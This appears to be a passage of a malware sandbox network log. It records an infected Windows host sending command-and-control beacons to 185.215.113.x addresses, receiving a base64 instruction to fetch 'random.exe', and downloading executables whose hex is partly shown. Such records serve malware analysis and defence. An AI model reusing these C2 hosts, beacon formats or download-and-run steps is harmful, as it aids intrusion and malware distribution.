Nov 16, 2024 23:36:44.890793085 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 2d 2d 0d 0a Data Ascii: ------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="message"ybncbhylepme------IDHIDBAEGIIIDHJKEGDB--
Nov 16, 2024 23:36:45.184840918 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 16, 2024 23:36:48.294137001 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDHIIJJJKEGIDGCBAFIJ--
Nov 16, 2024 23:36:49.080634117 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49961	185.215.113.16	80	2128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 23:36:45.225905895 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 16, 2024 23:36:46.104855061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 22:36:45 GMT Content-Type: application/octet-stream Content-Length: 3270144 Last-Modified: Sat, 16 Nov 2024 22:11:33 GMT Connection: keep-alive ETag: "67391895-31e600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@ 2h32@WkH@11 @.rsrcH@.idata @bmmskeqc0+(+@hxetqgxg11@.taggant01"1@
Nov 16, 2024 23:36:46.104926109 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 23:36:46.105283022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 23:36:46.105340958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 23:36:46.105359077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 23:36:46.105369091 CET	1236	IN	Data Raw: 5d c3 a3 f8 24 46 8e f0 6b 46 d7 9c 5f 6d 67 78 d4 83 4a f0 4b 33 76 12 10 e7 b3 7a 13 ff 2b e1 5d c3 a3 f8 84 46 8e f0 6b 46 d7 9c 5f 6d 97 78 94 83 4a f0 4b 1b 76 12 10 e7 d3 7d 13 ff 2b 81 5d c3 a3 f8 64 46 8e f0 6b 46 d7 9c 5f 6d 97 78 24 83 Data Ascii: ]$FkF_mgxJK3vz+]FkF_mxJKv}+]dFkF_mx$JKY}+\FkF_m;y8JKt~+A\FkF_mxJKY3~+a\EkF_mxJK_S}+`EkF_mxJKOZs}+!_DEkF_mxJ
Nov 16, 2024 23:36:46.105379105 CET	1236	IN	Data Raw: 4b a3 77 12 10 e7 73 79 13 ff 2b 21 eb c3 a3 f8 44 41 8e f0 6b 46 d7 9c 5f 6d 8f 78 80 89 4a f0 4b db 5d 12 10 e7 93 79 13 ff 2b c1 ea c3 a3 f8 24 41 8e f0 6b 46 d7 9c 5f 6d 97 78 88 89 4a f0 4b f3 5d 12 10 e7 b3 79 13 ff 2b e1 ea c3 a3 f8 84 41 Data Ascii: Kwsy+!DAkF_mxJK]y+$AkF_mxJK]y+AkF_mxJK+qx+dAkF_mxJK[ux+AkF_mx(JK{_y+AAkF_mx0JK;`3y+a<kF_mx<JKqSx+<
Nov 16, 2024 23:36:46.105422020 CET	1236	IN	Data Raw: 6b 46 d7 9c 5f 6d 5f 78 f0 88 4a f0 4b b3 5f 12 10 e7 53 74 13 ff 2b 01 f9 c3 a3 f8 e4 38 8e f0 6b 46 d7 9c 5f 6d 97 78 a8 0d 4a f0 4b 4b 71 12 10 e7 73 74 13 ff 2b 21 f8 c3 a3 f8 44 38 8e f0 6b 46 d7 9c 5f 6d 53 78 b8 0d 4a f0 4b 6b 77 12 10 e7 Data Ascii: kF_m_xJK_St+8kF_mxJKKqst+!D8kF_mSxJKkwt+$8kF_mcxJKYt+8kF_mxTJK`+d8kF_mxJK{^+8kF_moxJKw+A8kF_moxJKs3
Nov 16, 2024 23:36:46.105433941 CET	1236	IN	Data Raw: 47 00 a4 89 55 6d 8d 78 e4 56 49 f0 f8 4e ea f1 10 67 dd e3 d7 ff ab d5 47 00 a4 6f 54 8b d0 78 4e fa 4a f0 f8 f9 da f1 10 58 d0 a9 17 53 49 f0 f8 17 ea f1 10 67 87 e8 d7 ff ab 11 48 00 a4 89 55 38 c3 82 d6 ff ab 6f 37 00 a4 78 b6 f7 4a f0 f8 cd Data Ascii: GUmxVINgGoTxNJXSIgHU8o7xJXxJAXv8xF]IUm{gHa___Ti?AUeyU7yAUZnec#Y<"k?DoF+vPoT
Nov 16, 2024 23:36:46.105444908 CET	1236	IN	Data Raw: 9c c4 8b 59 13 0e 4a dc 9b c0 8f 57 53 5c cd d8 10 cb d2 9c 5f cb d2 9c 5f cb d2 9c 5f 54 18 fd 9c c4 8b 57 67 8b 16 e1 9b c7 8f 8d 52 07 a4 9c 5f cb d2 9c 5f cb d2 9c 5f cb d2 9c 5f 54 18 fd 9c 00 13 86 08 86 b7 d9 66 02 1a d9 e2 02 3f dd 9d 74 Data Ascii: YJWS\___TWgR____Tf?tWVMe!'tanE?AX\_TtWfi.tWJn\oE\__VoTx75wgSY/Vk P`iOcW"
Nov 16, 2024 23:36:46.116472006 CET	1236	IN	Data Raw: 9d 49 41 8e 52 03 a4 9c 5f 67 6f 52 d6 ff 2b b1 24 c0 a3 78 a8 89 49 f0 f8 ee ff f1 10 86 cf dc 97 3f 94 54 4c c0 90 f0 48 a3 09 13 10 46 d7 9c 5f cb d2 9c 5f cb d2 9c 5f 54 18 fd 9c c4 8b 55 50 74 8d 8d 55 4f ab 19 29 00 a4 9c 5f cb d2 9c 5f cb Data Ascii: IAR_goR+$xI?TLHF___TUPtUO)____TIDYYa]?^PJ vRC{?_ad4W\___T}7t3O P`Jw&fX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49466	185.215.113.43	80	748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 23:38:05.013520002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 23:38:05.921279907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 22:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49467	185.215.113.43	80	748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 23:38:07.429596901 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 23:38:08.341588974 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 22:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 36 37 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 37 36 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 36 37 36 35 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 37 36 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1006763001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1006764001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1006765031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1006766001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49468	185.215.113.16	80	748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 23:38:08.349950075 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 16, 2024 23:38:09.254091024 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 22:38:09 GMT Content-Type: application/octet-stream Content-Length: 1901056 Last-Modified: Sat, 16 Nov 2024 22:11:18 GMT Connection: keep-alive ETag: "67391886-1d0200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 9c 06 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gDpK@K@\p x@.rsrc @.idata @ @+@bimhgodaP1P@gawqocxm`K@.taggant0pK"@
Nov 16, 2024 23:38:09.254177094 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 23:38:09.254235983 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 23:38:09.254271984 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 23:38:09.254303932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 23:38:09.254338980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 23:38:09.254374027 CET	1236	IN	Data Raw: 65 8b 52 16 f5 8a 12 d8 56 b1 7f 29 53 b1 a0 55 51 f8 c9 0e 0b 00 7c 45 1c 17 74 de 97 7e db 11 6f 9f f4 9a 83 45 7f e6 8b 87 bc 56 e4 d5 e0 d9 7e 56 da 6b c9 80 e2 61 ea 20 04 2d c4 d6 0c 89 4b 5e bc 22 b3 8b 14 cd f8 42 46 2c dc 18 8c 62 e5 c0 Data Ascii: eRV)SUQ\|Et~oEV~Vka -K^"BF,bq<#Ei#j?ObE"KZI89'VwkBSzRx~Yk!1g9}7w'v9rXV+P >amUy
Nov 16, 2024 23:38:09.254409075 CET	636	IN	Data Raw: ce 81 93 15 69 15 7c b7 de 9b 21 ab da bf ac 15 c4 8c 63 f6 dd 8d 6b a9 bf 20 9f 82 2f 45 8a ac 47 f5 f8 28 0e 95 a9 86 a4 7d d9 c1 3a 01 77 5b 7d 88 3b 35 fd e9 ee 23 8b 6a 7e 20 f2 15 10 ac 56 30 fa fa 58 8d ac c4 ae 8b f0 1a 8a 99 e8 8a d2 9d Data Ascii: i\|!ck /EG(}:w[};5#j~ V0XaCYWCfs7&(!=V~LjZ (kW>1Kl!F2>k%ay{av8zf6)mHesh(PaXO3FKM
Nov 16, 2024 23:38:09.254446983 CET	1236	IN	Data Raw: c5 67 89 9f e4 97 45 c0 d8 b6 e7 a1 f5 b5 b9 f6 b9 05 d3 ff a3 96 d7 a8 cc 38 ae 4d d0 09 8c 30 e4 86 56 51 fa 28 ed 48 c9 cf 2f 02 cc 67 dc 51 8b 9d fb e8 fd d1 67 90 81 5e 42 a2 36 e3 a4 55 1e e9 0b f6 c3 ca 69 6b 5a bd c9 b3 ce 4f 69 21 60 cc Data Ascii: gE8M0VQ(H/gQg^B6UikZOi!`DsB+=h%q:O=XgRYc]uKm}ef:t]Fk`-=]58N}a_c(6!Tm^B="L<dKcF`MQ<~\|w_
Nov 16, 2024 23:38:09.254487991 CET	1236	IN	Data Raw: e6 94 e2 fc b3 20 75 16 e8 39 81 47 2e 33 59 39 b1 f4 cc 84 e7 15 d4 52 b7 81 44 9e 40 fd 7c ec ae 0b e4 56 e7 7f e0 92 66 8b 67 da df 42 67 9a a5 6d ea f2 f7 88 fb eb b6 54 dd 19 97 b3 c3 e8 36 83 e2 42 1f 9d 1b 2a be 89 db fe 45 64 8c 8a 0e 7c Data Ascii: u9G.3Y9RD@\|VfgBgmT6B*Ed\|}JAXd!mAqnzxjb~_QOcm!E>D\|xQ]&DVGgYH+r2XM&coMks$ufmO"4R~b[~f@^.FhHE
Nov 16, 2024 23:38:09.259591103 CET	1236	IN	Data Raw: 2d 97 f1 8e 67 97 6a 26 d8 04 65 e7 bf c6 0d 37 4f 02 80 4b cf 66 c2 5e d6 15 d8 ed df 99 61 ef 05 83 dc 20 27 6e 25 f9 d1 22 44 66 8d 55 29 3b c0 a7 92 16 fa 71 9f d3 da 86 bd dd 7a 97 fb 2a b9 b9 ff 6b 6a 3d cc 69 d8 6c 1e 6b 9e a2 79 01 79 4e Data Ascii: -gj&e7OKf^a 'n%"DfU);qz*kj=ilkyyNYCD!lz/b(S_e}Gzx7td6E;x&dj"F/]\%fGUgV8B>:_e+Bk EJMl qgiHFAeKg

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.185.196	443	3772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:18 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 22:36:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:19 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-n4rqSkNpnPA_RxvYqXT6ZA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-16 22:36:19 UTC	112	IN	Data Raw: 34 30 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 61 73 63 61 72 22 2c 22 61 6d 61 7a 6f 6e 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 64 65 61 6c 73 22 2c 22 77 6f 72 64 6c 65 20 74 6f 64 61 79 20 6e 6f 76 65 6d 62 65 72 20 31 36 22 2c 22 76 61 6e 64 61 6c 69 73 6d 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 6e 6f 72 74 Data Ascii: 400)]}'["",["nascar","amazon black friday deals","wordle today november 16","vandalism","aurora borealis nort
2024-11-16 22:36:19 UTC	919	IN	Data Raw: 68 65 72 6e 20 6c 69 67 68 74 73 20 66 6f 72 65 63 61 73 74 22 2c 22 6e 69 63 6b 20 64 69 61 7a 20 75 66 63 20 33 31 30 22 2c 22 77 61 72 72 65 6e 20 62 75 66 66 65 74 74 20 73 74 6f 63 6b 73 22 2c 22 79 6f 75 6e 67 20 72 65 73 74 6c 65 73 73 20 73 70 6f 69 6c 65 72 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 Data Ascii: hern lights forecast","nick diaz ufc 310","warren buffett stocks","young restless spoilers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail"
2024-11-16 22:36:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
